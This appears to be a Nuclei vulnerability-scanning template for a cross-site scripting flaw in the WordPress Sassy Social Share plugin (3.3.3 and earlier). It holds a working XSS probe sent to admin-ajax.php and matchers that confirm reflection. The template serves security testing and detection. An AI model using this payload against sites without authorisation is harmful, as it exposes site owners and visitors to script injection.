43 lines
1.3 KiB
YAML
43 lines
1.3 KiB
YAML
id: sassy-social-share-xss
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info:
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name: Sassy Social Share <=3.3.3 - Cross-Site Scripting
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author: Random_Robbie
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severity: medium
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description: |
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WordPress Sassy Social Share 3.3.3 and prior is vulnerable to cross-site scripting because certain AJAX endpoints return JSON data with no Content-Type header set and then use the default text/html. In other words, any JSON that has HTML will be rendered as such.
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reference:
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- https://wpscan.com/vulnerability/4631519b-2060-43a0-b69b-b3d7ed94c705
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 5.4
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cwe-id: CWE-80
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tags: xss,wp,wpscan,wordpress,wp-plugin,sassy
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E]="
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '[{"<img src=x onerror=alert(document.domain)>":""}]'
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- 'facebook'
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- 'twitter'
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condition: and
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- type: word
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part: header
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words:
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- 'application/json'
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negative: true
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- type: status
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status:
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- 200
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# Enhanced by mp on 2022/09/07
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